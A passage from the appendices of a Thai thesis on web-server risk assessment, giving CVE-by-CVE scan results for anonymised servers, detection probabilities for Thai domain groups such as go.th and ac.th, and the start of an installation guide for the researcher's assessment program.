ซีวีอี 1999-0874 ไมพบจุดบกพรอง 

ซีวีอี 2000-0010 ไมพบจุดบกพรอง 

ซีวีอี 2000-0208 ไมพบจุดบกพรอง 

ซีวีอี 2000-0226 ไมพบจุดบกพรอง 

ซีวีอี 2000-0287 ไมพบจุดบกพรอง 

ซีวีอี 2000-0770 ไมพบจุดบกพรอง 

ซีวีอี 2000-0778 ไมพบจุดบกพรอง 

ซีวีอี 2000-0884 ไมพบจุดบกพรอง 

ซีวีอี 2000-0886 ไมพบจุดบกพรอง 

ซีวีอี 2000-0941 ไมพบจุดบกพรอง 

ซีวีอี 2001-0151 ไมพบจุดบกพรอง 

ซีวีอี 2001-0241 ไมพบจุดบกพรอง 

ซีวีอี 2001-0333 ไมพบจุดบกพรอง 

ซีวีอี 2001-0500 ไมพบจุดบกพรอง 
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ตารางที่ จ.3 ผลการตรวจสอบเว็บเซิรฟเวอรของหนวยงานแหงหนึง่หนวยที ่3 (ตอ) 

หมายเลขจุดบกพรอง ผลการตวจสอบจุดบกพรอง 

ซีวีอี 2001-0507 ไมพบจุดบกพรอง 

ซีวีอี 2002-0061 ไมพบจุดบกพรอง 

ซีวีอี 2002-0082 ไมพบจุดบกพรอง 

ซีวีอี 2002-0392 ไมพบจุดบกพรอง 

ซีวีอี 2002-0513 ไมพบจุดบกพรอง 

 

ตารางที่ จ.4 ผลการตรวจสอบเว็บเซิรฟเวอรของหนวยงานแหงหนึง่หนวยที ่4 

หมายเลขจุดบกพรอง ผลการตวจสอบจุดบกพรอง 

ซีวีอี 1999-0021 ไมพบจุดบกพรอง 

ซีวีอี 1999-0066 ไมพบจุดบกพรอง 

ซีวีอี 1999-0067 ไมพบจุดบกพรอง 

ซีวีอี 1999-0070 ไมพบจุดบกพรอง 

ซีวีอี 1999-0146 ไมพบจุดบกพรอง 

ซีวีอี 1999-0172 ไมพบจุดบกพรอง 

ซีวีอี 1999-0174 ไมพบจุดบกพรอง 

ซีวีอี 1999-0191 ไมพบจุดบกพรอง 

ซีวีอี 1999-0237 ไมพบจุดบกพรอง 

ซีวีอี 1999-0260 ไมพบจุดบกพรอง 

ซีวีอี 1999-0262 ไมพบจุดบกพรอง 

ซีวีอี 1999-0264 ไมพบจุดบกพรอง 

ซีวีอี 1999-0266 ไมพบจุดบกพรอง 

ซีวีอี 1999-0278 ไมพบจุดบกพรอง 

ซีวีอี 1999-0874 ไมพบจุดบกพรอง 

ซีวีอี 2000-0010 ไมพบจุดบกพรอง 

ซีวีอี 2000-0208 ไมพบจุดบกพรอง 

ซีวีอี 2000-0226 ตรวจสอบพบจุดบกพรอง 

ซีวีอี 2000-0287 ไมพบจุดบกพรอง 

ซีวีอี 2000-0770 ตรวจสอบพบจุดบกพรอง 
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ตารางที่ จ.4 ผลการตรวจสอบเว็บเซิรฟเวอรของหนวยงานแหงหนึง่หนวยที ่4 (ตอ) 

หมายเลขจุดบกพรอง ผลการตวจสอบจุดบกพรอง 

ซีวีอี 2000-0778 ตรวจสอบพบจุดบกพรอง 

ซีวีอี 2000-0884 ตรวจสอบพบจุดบกพรอง 

ซีวีอี 2000-0886 ตรวจสอบพบจุดบกพรอง 

ซีวีอี 2000-0941 ไมพบจุดบกพรอง 

ซีวีอี 2001-0151 ไมพบจุดบกพรอง 

ซีวีอี 2001-0241 ไมพบจุดบกพรอง 

ซีวีอี 2001-0333 ตรวจสอบพบจุดบกพรอง 

ซีวีอี 2001-0500 ตรวจสอบพบจุดบกพรอง 

ซีวีอี 2001-0507 ไมพบจุดบกพรอง 

ซีวีอี 2002-0061 ไมพบจุดบกพรอง 

ซีวีอี 2002-0082 ไมพบจุดบกพรอง 

ซีวีอี 2002-0392 ไมพบจุดบกพรอง 

ซีวีอี 2002-0513 ไมพบจุดบกพรอง 

 

ตารางที่ จ.5 ผลการตรวจสอบเว็บเซิรฟเวอรของหนวยงานแหงหนึง่หนวยที ่5 

หมายเลขจุดบกพรอง ผลการตวจสอบจุดบกพรอง 

ซีวีอี 1999-0021 ไมพบจุดบกพรอง 

ซีวีอี 1999-0066 ไมพบจุดบกพรอง 

ซีวีอี 1999-0067 ไมพบจุดบกพรอง 

ซีวีอี 1999-0070 ไมพบจุดบกพรอง 

ซีวีอี 1999-0146 ไมพบจุดบกพรอง 

ซีวีอี 1999-0172 ไมพบจุดบกพรอง 

ซีวีอี 1999-0174 ไมพบจุดบกพรอง 

ซีวีอี 1999-0191 ไมพบจุดบกพรอง 

ซีวีอี 1999-0237 ไมพบจุดบกพรอง 

ซีวีอี 1999-0260 ไมพบจุดบกพรอง 

ซีวีอี 1999-0262 ไมพบจุดบกพรอง 

ซีวีอี 1999-0264 ไมพบจุดบกพรอง 
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ตารางที่ จ.5 ผลการตรวจสอบเว็บเซิรฟเวอรของหนวยงานแหงหนึง่หนวยที ่5 (ตอ) 

หมายเลขจุดบกพรอง ผลการตวจสอบจุดบกพรอง 

ซีวีอี 1999-0266 ไมพบจุดบกพรอง 

ซีวีอี 1999-0278 ไมพบจุดบกพรอง 

ซีวีอี 1999-0874 ไมพบจุดบกพรอง 

ซีวีอี 2000-0010 ไมพบจุดบกพรอง 

ซีวีอี 2000-0208 ไมพบจุดบกพรอง 

ซีวีอี 2000-0226 ไมพบจุดบกพรอง 

ซีวีอี 2000-0287 ไมพบจุดบกพรอง 

ซีวีอี 2000-0770 ไมพบจุดบกพรอง 

ซีวีอี 2000-0778 ไมพบจุดบกพรอง 

ซีวีอี 2000-0884 ไมพบจุดบกพรอง 

ซีวีอี 2000-0886 ไมพบจุดบกพรอง 

ซีวีอี 2000-0941 ไมพบจุดบกพรอง 

ซีวีอี 2001-0151 ไมพบจุดบกพรอง 

ซีวีอี 2001-0241 ไมพบจุดบกพรอง 

ซีวีอี 2001-0333 ไมพบจุดบกพรอง 

ซีวีอี 2001-0500 ไมพบจุดบกพรอง 

ซีวีอี 2001-0507 ไมพบจุดบกพรอง 

ซีวีอี 2002-0061 ไมพบจุดบกพรอง 

ซีวีอี 2002-0082 ไมพบจุดบกพรอง 

ซีวีอี 2002-0392 ไมพบจุดบกพรอง 

ซีวีอี 2002-0513 ไมพบจุดบกพรอง 
 

ตารางที่ จ.6 ผลการตรวจสอบเว็บเซิรฟเวอรของหนวยงานแหงหนึง่หนวยที ่6 

หมายเลขจุดบกพรอง ผลการตวจสอบจุดบกพรอง 

ซีวีอี 1999-0021 ไมพบจุดบกพรอง 

ซีวีอี 1999-0066 ไมพบจุดบกพรอง 

ซีวีอี 1999-0067 ไมพบจุดบกพรอง 

ซีวีอี 1999-0070 ไมพบจุดบกพรอง 

ซีวีอี 1999-0146 ไมพบจุดบกพรอง 
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ตารางที่ จ.6 ผลการตรวจสอบเว็บเซิรฟเวอรของหนวยงานแหงหนึง่หนวยที ่6 (ตอ) 

หมายเลขจุดบกพรอง ผลการตวจสอบจุดบกพรอง 

ซีวีอี 1999-0172 ไมพบจุดบกพรอง 

ซีวีอี 1999-0174 ไมพบจุดบกพรอง 

ซีวีอี 1999-0191 ไมพบจุดบกพรอง 

ซีวีอี 1999-0237 ไมพบจุดบกพรอง 

ซีวีอี 1999-0260 ไมพบจุดบกพรอง 

ซีวีอี 1999-0262 ไมพบจุดบกพรอง 

ซีวีอี 1999-0264 ไมพบจุดบกพรอง 

ซีวีอี 1999-0266 ไมพบจุดบกพรอง 

ซีวีอี 1999-0278 ไมพบจุดบกพรอง 

ซีวีอี 1999-0874 ไมพบจุดบกพรอง 

ซีวีอี 2000-0010 ไมพบจุดบกพรอง 

ซีวีอี 2000-0208 ไมพบจุดบกพรอง 

ซีวีอี 2000-0226 ไมพบจุดบกพรอง 

ซีวีอี 2000-0287 ไมพบจุดบกพรอง 

ซีวีอี 2000-0770 ไมพบจุดบกพรอง 

ซีวีอี 2000-0778 ไมพบจุดบกพรอง 

ซีวีอี 2000-0884 ไมพบจุดบกพรอง 

ซีวีอี 2000-0886 ไมพบจุดบกพรอง 

ซีวีอี 2000-0941 ไมพบจุดบกพรอง 

ซีวีอี 2001-0151 ไมพบจุดบกพรอง 

ซีวีอี 2001-0241 ไมพบจุดบกพรอง 

ซีวีอี 2001-0333 ไมพบจุดบกพรอง 

ซีวีอี 2001-0500 ไมพบจุดบกพรอง 

ซีวีอี 2001-0507 ไมพบจุดบกพรอง 

ซีวีอี 2002-0061 ไมพบจุดบกพรอง 

ซีวีอี 2002-0082 ไมพบจุดบกพรอง 

ซีวีอี 2002-0392 ไมพบจุดบกพรอง 

ซีวีอี 2002-0513 ไมพบจุดบกพรอง 
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ตารางที่ จ.7 ผลการตรวจสอบเว็บเซิรฟเวอรของหนวยตวัอยางที่ติดตั้งขึ้นเองหนวยที ่1 

หมายเลขจุดบกพรอง ผลการตวจสอบจุดบกพรอง 

ซีวีอี 1999-0021 ไมพบจุดบกพรอง 

ซีวีอี 1999-0066 ไมพบจุดบกพรอง 

ซีวีอี 1999-0067 ไมพบจุดบกพรอง 

ซีวีอี 1999-0070 ไมพบจุดบกพรอง 

ซีวีอี 1999-0146 ไมพบจุดบกพรอง 

ซีวีอี 1999-0172 ไมพบจุดบกพรอง 

ซีวีอี 1999-0174 ไมพบจุดบกพรอง 

ซีวีอี 1999-0191 ไมพบจุดบกพรอง 

ซีวีอี 1999-0237 ไมพบจุดบกพรอง 

ซีวีอี 1999-0260 ไมพบจุดบกพรอง 

ซีวีอี 1999-0262 ไมพบจุดบกพรอง 

ซีวีอี 1999-0264 ไมพบจุดบกพรอง 

ซีวีอี 1999-0266 ไมพบจุดบกพรอง 

ซีวีอี 1999-0278 ไมพบจุดบกพรอง 

ซีวีอี 1999-0874 ไมพบจุดบกพรอง 

ซีวีอี 2000-0010 ไมพบจุดบกพรอง 

ซีวีอี 2000-0208 ไมพบจุดบกพรอง 

ซีวีอี 2000-0226 ไมพบจุดบกพรอง 

ซีวีอี 2000-0287 ไมพบจุดบกพรอง 

ซีวีอี 2000-0770 ตรวจสอบพบจุดบกพรอง 

ซีวีอี 2000-0778 ไมพบจุดบกพรอง 

ซีวีอี 2000-0884 ตรวจสอบพบจุดบกพรอง 

ซีวีอี 2000-0886 ตรวจสอบพบจุดบกพรอง 

ซีวีอี 2000-0941 ไมพบจุดบกพรอง 

ซีวีอี 2001-0151 ไมพบจุดบกพรอง 

ซีวีอี 2001-0241 ไมพบจุดบกพรอง 

ซีวีอี 2001-0333 ไมพบจุดบกพรอง 

ซีวีอี 2001-0500 ไมพบจุดบกพรอง 
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ตารางที่ จ.7 ผลการตรวจสอบเว็บเซิรฟเวอรของหนวยตวัอยางที่ติดตั้งขึ้นเองหนวยที ่1 (ตอ) 

หมายเลขจุดบกพรอง ผลการตวจสอบจุดบกพรอง 

ซีวีอี 2001-0507 ไมพบจุดบกพรอง 

ซีวีอี 2002-0061 ตรวจสอบพบจุดบกพรอง 

ซีวีอี 2002-0082 ไมพบจุดบกพรอง 

ซีวีอี 2002-0392 ไมพบจุดบกพรอง 

ซีวีอี 2002-0513 ไมพบจุดบกพรอง 

 

ตารางที่ จ.8 ผลการตรวจสอบเว็บเซิรฟเวอรของหนวยตวัอยางที่ติดตั้งขึ้นเองหนวยที ่2 

หมายเลขจุดบกพรอง ผลการตวจสอบจุดบกพรอง 

ซีวีอี 1999-0021 ไมพบจุดบกพรอง 

ซีวีอี 1999-0066 ไมพบจุดบกพรอง 

ซีวีอี 1999-0067 ไมพบจุดบกพรอง 

ซีวีอี 1999-0070 ไมพบจุดบกพรอง 

ซีวีอี 1999-0146 ไมพบจุดบกพรอง 

ซีวีอี 1999-0172 ไมพบจุดบกพรอง 

ซีวีอี 1999-0174 ไมพบจุดบกพรอง 

ซีวีอี 1999-0191 ไมพบจุดบกพรอง 

ซีวีอี 1999-0237 ไมพบจุดบกพรอง 

ซีวีอี 1999-0260 ไมพบจุดบกพรอง 

ซีวีอี 1999-0262 ไมพบจุดบกพรอง 

ซีวีอี 1999-0264 ไมพบจุดบกพรอง 

ซีวีอี 1999-0266 ไมพบจุดบกพรอง 

ซีวีอี 1999-0278 ไมพบจุดบกพรอง 

ซีวีอี 1999-0874 ไมพบจุดบกพรอง 

ซีวีอี 2000-0010 ไมพบจุดบกพรอง 

ซีวีอี 2000-0208 ไมพบจุดบกพรอง 

ซีวีอี 2000-0226 ไมพบจุดบกพรอง 

ซีวีอี 2000-0287 ไมพบจุดบกพรอง 

ซีวีอี 2000-0770 ไมพบจุดบกพรอง 
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ตารางที่ จ.8 ผลการตรวจสอบเว็บเซิรฟเวอรของหนวยตวัอยางที่ติดตั้งขึ้นเองหนวยที ่2 (ตอ) 

หมายเลขจุดบกพรอง ผลการตวจสอบจุดบกพรอง 

ซีวีอี 2000-0778 ไมพบจุดบกพรอง 

ซีวีอี 2000-0884 ไมพบจุดบกพรอง 

ซีวีอี 2000-0886 ไมพบจุดบกพรอง 

ซีวีอี 2000-0941 ไมพบจุดบกพรอง 

ซีวีอี 2001-0151 ไมพบจุดบกพรอง 

ซีวีอี 2001-0241 ไมพบจุดบกพรอง 

ซีวีอี 2001-0333 ไมพบจุดบกพรอง 

ซีวีอี 2001-0500 ไมพบจุดบกพรอง 

ซีวีอี 2001-0507 ไมพบจุดบกพรอง 

ซีวีอี 2002-0061 ไมพบจุดบกพรอง 

ซีวีอี 2002-0082 ไมพบจุดบกพรอง 

ซีวีอี 2002-0392 ไมพบจุดบกพรอง 

ซีวีอี 2002-0513 ไมพบจุดบกพรอง 

 

ตารางที่ จ.9 ผลการตรวจสอบเว็บเซิรฟเวอรของหนวยตวัอยางที่ติดตั้งขึ้นเองหนวยที ่3 

หมายเลขจุดบกพรอง ผลการตวจสอบจุดบกพรอง 

ซีวีอี 1999-0021 ไมพบจุดบกพรอง 

ซีวีอี 1999-0066 ไมพบจุดบกพรอง 

ซีวีอี 1999-0067 ไมพบจุดบกพรอง 

ซีวีอี 1999-0070 ไมพบจุดบกพรอง 

ซีวีอี 1999-0146 ไมพบจุดบกพรอง 

ซีวีอี 1999-0172 ไมพบจุดบกพรอง 

ซีวีอี 1999-0174 ไมพบจุดบกพรอง 

ซีวีอี 1999-0191 ไมพบจุดบกพรอง 

ซีวีอี 1999-0237 ไมพบจุดบกพรอง 

ซีวีอี 1999-0260 ไมพบจุดบกพรอง 

ซีวีอี 1999-0262 ไมพบจุดบกพรอง 

ซีวีอี 1999-0264 ไมพบจุดบกพรอง 
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ตารางที่ จ.9 ผลการตรวจสอบเว็บเซิรฟเวอรของหนวยตวัอยางที่ติดตั้งขึ้นเองหนวยที ่3 (ตอ) 

หมายเลขจุดบกพรอง ผลการตวจสอบจุดบกพรอง 

ซีวีอี 1999-0266 ไมพบจุดบกพรอง 

ซีวีอี 1999-0278 ไมพบจุดบกพรอง 

ซีวีอี 1999-0874 ตรวจสอบพบจุดบกพรอง 

ซีวีอี 2000-0010 ไมพบจุดบกพรอง 

ซีวีอี 2000-0208 ไมพบจุดบกพรอง 

ซีวีอี 2000-0226 ตรวจสอบพบจุดบกพรอง 

ซีวีอี 2000-0287 ไมพบจุดบกพรอง 

ซีวีอี 2000-0770 ตรวจสอบพบจุดบกพรอง 

ซีวีอี 2000-0778 ไมพบจุดบกพรอง 

ซีวีอี 2000-0884 ตรวจสอบพบจุดบกพรอง 

ซีวีอี 2000-0886 ตรวจสอบพบจุดบกพรอง 

ซีวีอี 2000-0941 ไมพบจุดบกพรอง 

ซีวีอี 2001-0151 ไมพบจุดบกพรอง 

ซีวีอี 2001-0241 ไมพบจุดบกพรอง 

ซีวีอี 2001-0333 ตรวจสอบพบจุดบกพรอง 

ซีวีอี 2001-0500 ตรวจสอบพบจุดบกพรอง 

ซีวีอี 2001-0507 ตรวจสอบพบจุดบกพรอง 

ซีวีอี 2002-0061 ตรวจสอบพบจุดบกพรอง 

ซีวีอี 2002-0082 ไมพบจุดบกพรอง 

ซีวีอี 2002-0392 ไมพบจุดบกพรอง 

ซีวีอี 2002-0513 ไมพบจุดบกพรอง 
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การทดลองเพื่อประเมินความเสี่ยงของเว็บเซิรฟเวอรภายใตโดเมนในประเทศไทย   

ไดคาความนาจะเปนในการตรวจพบจุดบกพรองในแตละกลุมโดเมนดังตารางที่ จ.10 – จ.16 

ตารางที่ จ.10 คาความนาจะเปนของโดเมนกลุม co.th 

หมายเลขจุดบกพรอง คาความนาจะเปน จํานวนโดเมนที่ตรวจสอบพบ 

ซีวีอี 1999-0021 0.0769 9 

ซีวีอี 1999-0066 0.0427 5 

ซีวีอี 1999-0067 0.0512 6 

ซีวีอี 1999-0070 0.0598 7 

ซีวีอี 1999-0146 0.0427 5 

ซีวีอี 1999-0172 0.1196 14 

ซีวีอี 1999-0174 0.0427 5 

ซีวีอี 1999-0191 0.0170 2 

ซีวีอี 1999-0237 0.2222 26 

ซีวีอี 1999-0260 0.0512 6 

ซีวีอี 1999-0262 0.0427 5 

ซีวีอี 1999-0264 0.0427 5 

ซีวีอี 1999-0266 0.0427 5 

ซีวีอี 1999-0278 0.0170 2 

ซีวีอี 1999-0874 0.0512 6 

ซีวีอี 2000-0010 0.0769 9 

ซีวีอี 2000-0208 0.0598 7 

ซีวีอี 2000-0226 0.1709 20 

ซีวีอี 2000-0287 0.0769 9 

ซีวีอี 2000-0770 0.5470 64 
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ตารางที่ จ.10 คาความนาจะเปนของโดเมนกลุม co.th (ตอ) 

หมายเลขจุดบกพรอง คาความนาจะเปน จํานวนโดเมนที่ตรวจสอบพบ 

ซีวีอี 2000-0778 0.2222 26 

ซีวีอี 2000-0884 0.5470 64 

ซีวีอี 2000-0886 0.5470 64 

ซีวีอี 2000-0941 0.0769 9 

ซีวีอี 2001-0151 0.0170 2 

ซีวีอี 2001-0241 0.0427 5 

ซีวีอี 2001-0333 0.4188 49 

ซีวีอี 2001-0500 0.1880 22 

ซีวีอี 2001-0507 0.0769 9 

ซีวีอี 2002-0061 0.0683 8 

ซีวีอี 2002-0082 0.0427 5 

ซีวีอี 2002-0392 0.0427 5 

ซีวีอี 2002-0513 0.0427 5 

  

ตารางที่ จ.11 คาความนาจะเปนของโดเมนกลุม in.th 

หมายเลขจุดบกพรอง คาความนาจะเปน จํานวนโดเมนที่ตรวจสอบพบ 

ซีวีอี 1999-0021 0.1132 12 

ซีวีอี 1999-0066 0.0283 3 

ซีวีอี 1999-0067 0.0283 3 

ซีวีอี 1999-0070 0.0377 4 

ซีวีอี 1999-0146 0.0283 3 

ซีวีอี 1999-0172 0.1226 13 

ซีวีอี 1999-0174 0.0283 3 

ซีวีอี 1999-0191 0.0188 2 

ซีวีอี 1999-0237 0.1698 18 

ซีวีอี 1999-0260 0.0283 3 

ซีวีอี 1999-0262 0.0283 3 

ซีวีอี 1999-0264 0.0283 3 
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ตารางที่ จ.11 คาความนาจะเปนของโดเมนกลุม in.th (ตอ) 

หมายเลขจุดบกพรอง คาความนาจะเปน จํานวนโดเมนที่ตรวจสอบพบ 

ซีวีอี 1999-0266 0.0283 3 

ซีวีอี 1999-0278 0.0188 2 

ซีวีอี 1999-0874 0.0377 4 

ซีวีอี 2000-0010 0.0943 10 

ซีวีอี 2000-0208 0.0283 3 

ซีวีอี 2000-0226 0.1509 16 

ซีวีอี 2000-0287 0.0943 10 

ซีวีอี 2000-0770 0.3301 35 

ซีวีอี 2000-0778 0.1981 21 

ซีวีอี 2000-0884 0.3301 35 

ซีวีอี 2000-0886 0.3301 35 

ซีวีอี 2000-0941 0.0943 10 

ซีวีอี 2001-0151 0.0188 2 

ซีวีอี 2001-0241 0.0283 3 

ซีวีอี 2001-0333 0.2264 24 

ซีวีอี 2001-0500 0.1037 11 

ซีวีอี 2001-0507 0.0471 5 

ซีวีอี 2002-0061 0.0471 5 

ซีวีอี 2002-0082 0.0377 4 

ซีวีอี 2002-0392 0.0283 3 

ซีวีอี 2002-0513 0.0283 3 

 

 

 

 

 

 

 



 130 

ตารางที่ จ.12 คาความนาจะเปนของโดเมนกลุม ac.th 

หมายเลขจุดบกพรอง คาความนาจะเปน จํานวนโดเมนที่ตรวจสอบพบ 

ซีวีอี 1999-0021 0.0566 6 

ซีวีอี 1999-0066 0.0377 4 

ซีวีอี 1999-0067 0.0377 4 

ซีวีอี 1999-0070 0.0566 6 

ซีวีอี 1999-0146 0.0377 4 

ซีวีอี 1999-0172 0.0566 6 

ซีวีอี 1999-0174 0.0377 4 

ซีวีอี 1999-0191 0.0283 3 

ซีวีอี 1999-0237 0.1886 20 

ซีวีอี 1999-0260 0.0377 4 

ซีวีอี 1999-0262 0.0377 4 

ซีวีอี 1999-0264 0.0377 4 

ซีวีอี 1999-0266 0.0377 4 

ซีวีอี 1999-0278 0.0283 3 

ซีวีอี 1999-0874 0.0471 5 

ซีวีอี 2000-0010 0.0471 5 

ซีวีอี 2000-0208 0.0660 7 

ซีวีอี 2000-0226 0.1792 19 

ซีวีอี 2000-0287 0.0471 5 

ซีวีอี 2000-0770 0.4528 48 

ซีวีอี 2000-0778 0.1698 18 

ซีวีอี 2000-0884 0.4528 48 

ซีวีอี 2000-0886 0.4528 48 

ซีวีอี 2000-0941 0.0471 5 

ซีวีอี 2001-0151 0.0283 3 

ซีวีอี 2001-0241 0.0377 4 

ซีวีอี 2001-0333 0.3773 40 

ซีวีอี 2001-0500 0.2452 26 
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ตารางที่ จ.12 คาความนาจะเปนของโดเมนกลุม ac.th (ตอ) 

หมายเลขจุดบกพรอง คาความนาจะเปน จํานวนโดเมนที่ตรวจสอบพบ 

ซีวีอี 2001-0507 0.0849 9 

ซีวีอี 2002-0061 0.0471 5 

ซีวีอี 2002-0082 0.0377 4 

ซีวีอี 2002-0392 0.0377 4 

ซีวีอี 2002-0513 0.0377 4 

 

ตารางที่ จ.13 คาความนาจะเปนของโดเมนกลุม go.th 

หมายเลขจุดบกพรอง คาความนาจะเปน จํานวนโดเมนที่ตรวจสอบพบ 

ซีวีอี 1999-0021 0.0352 3 

ซีวีอี 1999-0066 0 0 

ซีวีอี 1999-0067 0 0 

ซีวีอี 1999-0070 0.0705 6 

ซีวีอี 1999-0146 0 0 

ซีวีอี 1999-0172 0.0235 2 

ซีวีอี 1999-0174 0 0 

ซีวีอี 1999-0191 0 0 

ซีวีอี 1999-0237 0.0941 8 

ซีวีอี 1999-0260 0.0117 1 

ซีวีอี 1999-0262 0 0 

ซีวีอี 1999-0264 0 0 

ซีวีอี 1999-0266 0 0 

ซีวีอี 1999-0278 0 0 

ซีวีอี 1999-0874 0 0 

ซีวีอี 2000-0010 0 0 

ซีวีอี 2000-0208 0 0 

ซีวีอี 2000-0226 0.1764 15 

ซีวีอี 2000-0287 0 0 

ซีวีอี 2000-0770 0.4470 38 
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ตารางที่ จ.13 คาความนาจะเปนของโดเมนกลุม go.th (ตอ) 

หมายเลขจุดบกพรอง คาความนาจะเปน จํานวนโดเมนที่ตรวจสอบพบ 

ซีวีอี 2000-0778 0.2941 25 

ซีวีอี 2000-0884 0.4470 38 

ซีวีอี 2000-0886 0.4470 38 

ซีวีอี 2000-0941 0 0 

ซีวีอี 2001-0151 0 0 

ซีวีอี 2001-0241 0 0 

ซีวีอี 2001-0333 0.3647 31 

ซีวีอี 2001-0500 0.2352 20 

 

ตารางที่ จ.14 คาความนาจะเปนของโดเมนกลุม net.th 

หมายเลขจุดบกพรอง คาความนาจะเปน จํานวนโดเมนที่ตรวจสอบพบ 

ซีวีอี 1999-0021 0.0833 1 

ซีวีอี 1999-0066 0 0 

ซีวีอี 1999-0067 0 0 

ซีวีอี 1999-0070 0.0833 1 

ซีวีอี 1999-0146 0 0 

ซีวีอี 1999-0172 0.0833 1 

ซีวีอี 1999-0174 0 0 

ซีวีอี 1999-0191 0 0 

ซีวีอี 1999-0237 0.1666 2 

ซีวีอี 1999-0260 0 0 

ซีวีอี 1999-0262 0 0 

ซีวีอี 1999-0264 0 0 

ซีวีอี 1999-0266 0 0 

ซีวีอี 1999-0278 0 0 

ซีวีอี 1999-0874 0 0 

ซีวีอี 2000-0010 0 0 

ซีวีอี 2000-0208 0 0 
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ตารางที่ จ.14 คาความนาจะเปนของโดเมนกลุม net.th (ตอ) 

หมายเลขจุดบกพรอง คาความนาจะเปน จํานวนโดเมนที่ตรวจสอบพบ 

ซีวีอี 2000-0226 0.0833 1 

ซีวีอี 2000-0287 0 0 

ซีวีอี 2000-0770 0.3333 4 

ซีวีอี 2000-0778 0.25 3 

ซีวีอี 2000-0884 0.3333 4 

ซีวีอี 2000-0886 0.3333 4 

ซีวีอี 2000-0941 0 0 

ซีวีอี 2001-0151 0 0 

ซีวีอี 2001-0241 0 0 

ซีวีอี 2001-0333 0.3333 4 

ซีวีอี 2001-0500 0.0833 1 

 

ตารางที่ จ.15 คาความนาจะเปนของโดเมนกลุม or.th 

หมายเลขจุดบกพรอง คาความนาจะเปน จํานวนโดเมนที่ตรวจสอบพบ 

ซีวีอี 1999-0021 0.0412 4 

ซีวีอี 1999-0066 0.0103 1 

ซีวีอี 1999-0067 0.0206 2 

ซีวีอี 1999-0070 0.0412 4 

ซีวีอี 1999-0146 0.0103 1 

ซีวีอี 1999-0172 0.0721 7 

ซีวีอี 1999-0174 0.0103 1 

ซีวีอี 1999-0191 0 0 

ซีวีอี 1999-0237 0.1752 17 

ซีวีอี 1999-0260 0.0206 2 

ซีวีอี 1999-0262 0.0103 1 

ซีวีอี 1999-0264 0.0103 1 

ซีวีอี 1999-0266 0.0103 1 

ซีวีอี 1999-0278 0 0 
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ตารางที่ จ.15 คาความนาจะเปนของโดเมนกลุม or.th (ตอ) 

หมายเลขจุดบกพรอง คาความนาจะเปน จํานวนโดเมนที่ตรวจสอบพบ 

ซีวีอี 1999-0874 0.0103 1 

ซีวีอี 2000-0010 0.0309 3 

ซีวีอี 2000-0208 0.0412 4 

ซีวีอี 2000-0226 0.1134 11 

ซีวีอี 2000-0287 0.0309 3 

ซีวีอี 2000-0770 0.5154 50 

ซีวีอี 2000-0778 0.2371 23 

ซีวีอี 2000-0884 0.5154 50 

ซีวีอี 2000-0886 0.5154 50 

ซีวีอี 2000-0941 0.0309 3 

ซีวีอี 2001-0151 0 0 

ซีวีอี 2001-0241 0.0103 1 

ซีวีอี 2001-0333 0.4226 41 

ซีวีอี 2001-0500 0.2061 20 

 

ตารางที่ จ.16 คาความนาจะเปนของโดเมนกลุม mi.th 

หมายเลขจุดบกพรอง คาความนาจะเปน จํานวนโดเมนที่ตรวจสอบพบ 

ซีวีอี 1999-0021 0 0 

ซีวีอี 1999-0066 0 0 

ซีวีอี 1999-0067 0 0 

ซีวีอี 1999-0070 0.3333 2 

ซีวีอี 1999-0146 0 0 

ซีวีอี 1999-0172 0 0 

ซีวีอี 1999-0174 0 0 

ซีวีอี 1999-0191 0 0 

ซีวีอี 1999-0237 0.1666 1 

ซีวีอี 1999-0260 0 0 

ซีวีอี 1999-0262 0 0 
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ตารางที่ จ.16 คาความนาจะเปนของโดเมนกลุม mi.th (ตอ) 

หมายเลขจุดบกพรอง คาความนาจะเปน จํานวนโดเมนที่ตรวจสอบพบ 

ซีวีอี 1999-0264 0 0 

ซีวีอี 1999-0266 0 0 

ซีวีอี 1999-0278 0 0 

ซีวีอี 1999-0874 0 0 

ซีวีอี 2000-0010 0 0 

ซีวีอี 2000-0208 0 0 

ซีวีอี 2000-0226 0.1666 1 

ซีวีอี 2000-0287 0 0 

ซีวีอี 2000-0770 0.3333 2 

ซีวีอี 2000-0778 0.1666 1 

ซีวีอี 2000-0884 0.3333 2 

ซีวีอี 2000-0886 0.3333 2 

ซีวีอี 2000-0941 0 0 

ซีวีอี 2001-0151 0 0 

ซีวีอี 2001-0241 0 0 

ซีวีอี 2001-0333 0.3333 2 

ซีวีอี 2001-0500 0.3333 2 

 



 

ภาคผนวก ฉ 
 

คูมือการติดต้ังโปรแกรม 

ในสวนนี้จะกลาวถึงการติดตั้งโปรแกรมประเมินความเสี่ยงของเว็บเซิรฟเวอรโดย

เนื้อหาจะแบงเปน 2 สวน คือ สวนของคุณสมบัติของเครื่องคอมพิวเตอรที่ควรใช และสวนของ

วิธีการติดตั้งโปรแกรมประเมินความเสี่ยงของเว็บเซิรฟเวอร 

ฉ.1 คุณสมบติัพื้นฐานของเครื่องคอมพิวเตอรที่ควรใช 

เครื่องคอมพิวเตอรที่แนะนาํใหใชในการติดตั้งโปรแกรมควรมีคณุสมบัติดังนี ้

1. เครื่องคอมพิวเตอรสวนบุคคล หรือทาํงานเขากันไดกับไอบีเอ็มพีซ ี

2. หนวยประมวลผลกลางเพนเทียมทรี 650 เมกะเฮิรตซ หรือสูงกวา 

3. หนวยความจาํขนาด 256 เมกะไบต หรือสูงกวา 

4. พื้นที่ฮารดดิสก 300 เมกะไบต หรือมากกวา 

5. ระบบปฏิบัติการวินโดวส เอก็ซพ ี

6. สามารถเชื่อมตอกับอินเทอรเน็ตได 
 

ฉ.2 วิธีติดต้ังโปรแกรมประเมินความเสี่ยงของเว็บเซิรฟเวอร 

การติดตั้งโปรแกรมประเมินความเสี่ยงของเว็บเซิรฟเวอรนั้นสามารถทําไดโดย

เรียกใชการทํางานของโปรแกรมติดตั้งที่ผูวิจัยไดจัดทําไว โดยในการติดตั้งจะจําแนกเปน

ระบบปฏิบัติการวินโดวส เอ็กซพี และระบบปฏิบัติการวินโดวส 98 หรือวินโดวส เอ็มอี รายละเอียด

การติดตั้งดังตอไปนี้ 

ฉ.2.1 ระบบปฏิบัติการวนิโดวสรุน เอ็กซพี 

เรียกแฟมขอมลู SetupXP.exe จากแหลงขอมูลดังรูปที่ ฉ.1 

 
รูปที่ ฉ.1 การเริ่มตนติดตั้งโปรแกรมบนระบบปฏิบัติการวนิโดวสรุน เอ็กซพ ี
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จากนั้นจะเขาสูการหนาจอการติดตั้งโปรแกรมประเมินความเสีย่งดงัรูปที่ ฉ.2 

 

 
